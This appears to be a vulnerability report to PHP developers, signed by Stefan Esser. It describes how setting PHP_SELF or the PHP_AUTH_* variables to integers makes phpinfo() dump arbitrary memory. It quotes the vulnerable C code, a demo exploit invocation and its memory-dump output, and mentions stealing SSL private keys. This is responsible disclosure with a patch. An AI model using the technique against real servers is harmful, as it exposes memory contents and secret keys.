Description:
------------
Hey,
I recently discovered an easy to exploit arbitrary information leak
vulnerability in PHP. The information leak can be exploited by setting
PHP_SELF, PHP_AUTH_TYPE, PHP_AUTH_USER or PHP_AUTH_PW to non-string
variables before calling phpinfo().
When you look at the code from /ext/standard/info.c you will see that
the code simply trusts that the returned ZVALs are of type STRING. If
there are however integers the code will interpret the integer as a in
memory pointer and print out the binary string at that position.
php_info_print_table_start();
php_info_print_table_header(2, "Variable", "Value");
if (zend_hash_find(&EG(symbol_table), "PHP_SELF",
sizeof("PHP_SELF"), (void **) &data) != FAILURE) {
php_info_print_table_row(2, "PHP_SELF", Z_STRVAL_PP(data));
}
if (zend_hash_find(&EG(symbol_table), "PHP_AUTH_TYPE",
sizeof("PHP_AUTH_TYPE"), (void **) &data) != FAILURE) {
php_info_print_table_row(2, "PHP_AUTH_TYPE", Z_STRVAL_PP(data));
}
if (zend_hash_find(&EG(symbol_table), "PHP_AUTH_USER",
sizeof("PHP_AUTH_USER"), (void **) &data) != FAILURE) {
php_info_print_table_row(2, "PHP_AUTH_USER", Z_STRVAL_PP(data));
}
if (zend_hash_find(&EG(symbol_table), "PHP_AUTH_PW",
sizeof("PHP_AUTH_PW"), (void **) &data) != FAILURE) {
php_info_print_table_row(2, "PHP_AUTH_PW", Z_STRVAL_PP(data));
}
I have attached a patch to fix this problem and the demo exploit used to
create the following output.
(As you can see there are a bunch of 0x20 in the output that should
actually be 0x00. I believe this is due to a bug in php_write() that
seems to write a space in case of an empty string??? But I did not
actually research this.)
$ vmmap $$ | grep _TEXT | grep libSystem
__TEXT 00007fff8da9f000-00007fff8daa1000 [ 8K]
r-x/r-x SM=COW /usr/lib/libSystem.B.dylib
$ php phpinfo_infoleak_512.php 0x7fff8da9f000
Heapdump
---------
00000000: cf fa ed fe 07 00 20 01 03 00 20 20 06 00 20 20 ...... ... ..
00000010: 2a 00 20 20 c0 0c 00 20 b5 00 20 80 00 20 20 20 *. ... .. ..
00000020: 19 00 20 20 d8 01 00 20 5f 5f 54 45 58 54 00 20 .. ... __TEXT.
00000030: 20 20 20 20 20 20 20 20 20 90 de 84 ff 7f 00 20 .....
00000040: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
00000050: 20 20 20 20 20 20 20 20 07 00 20 20 05 00 20 20 .. ..
00000060: 05 00 20 20 20 20 20 20 5f 5f 74 65 78 74 00 20 .. __text.
00000070: 20 20 20 20 20 20 20 20 5f 5f 54 45 58 54 00 20 __TEXT.
00000080: 20 20 20 20 20 20 20 20 1a aa de 84 ff 7f 00 20 ......
00000090: a4 01 00 20 20 20 20 20 1a 1a 00 20 20 20 20 20 ... ...
000000a0: 20 20 20 20 20 20 20 20 20 04 00 80 00 20 20 20 ....
000000b0: 20 20 20 20 20 20 20 20 5f 5f 73 74 75 62 73 00 __stubs.
000000c0: 20 20 20 20 20 20 20 20 5f 5f 54 45 58 54 00 20 __TEXT.
000000d0: 20 20 20 20 20 20 20 20 be ab de 84 ff 7f 00 20 ......
000000e0: 56 01 00 20 20 20 20 20 be 1b 00 20 01 00 20 20 V.. ... ..
000000f0: 20 20 20 20 20 20 20 20 08 04 00 80 00 20 20 20 .....
00000100: 06 00 20 20 20 20 20 20 5f 5f 73 74 75 62 5f 68 .. __stub_h
00000110: 65 6c 70 65 72 00 20 20 5f 5f 54 45 58 54 00 20 elper. __TEXT.
00000120: 20 20 20 20 20 20 20 20 14 ad de 84 ff 7f 00 20 ......
00000130: 4a 02 00 20 20 20 20 20 14 1d 00 20 02 00 20 20 J.. ... ..
00000140: 20 20 20 20 20 20 20 20 20 04 00 80 00 20 20 20 ....
00000150: 20 20 20 20 20 20 20 20 5f 5f 63 6f 6e 73 74 00 __const.
00000160: 20 20 20 20 20 20 20 20 5f 5f 54 45 58 54 00 20 __TEXT.
00000170: 20 20 20 20 20 20 20 20 60 af de 84 ff 7f 00 20 `.....
00000180: 40 00 20 20 20 20 20 20 60 1f 00 20 04 00 20 20 @. `.. ..
00000190: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
000001a0: 20 20 20 20 20 20 20 20 5f 5f 75 6e 77 69 6e 64 __unwind
000001b0: 5f 69 6e 66 6f 00 20 20 5f 5f 54 45 58 54 00 20 _info. __TEXT.
000001c0: 20 20 20 20 20 20 20 20 a0 af de 84 ff 7f 00 20 ......
000001d0: 58 00 20 20 20 20 20 20 a0 1f 00 20 20 20 20 20 X. ...
000001e0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
000001f0: 20 20 20 20 20 20 20 20 19 00 20 20 28 02 00 20 .. (..
Because this is only exploitable in case these variables are overwritten
as integers, which is less likely in a remote context this has to be
mostly considered a local information leak only. However if you are
running as mod_php and there is mod_ssl this could be used to steal the
private SSL key from memory (if you can inject PHP code).
Regards,
Stefan Esser
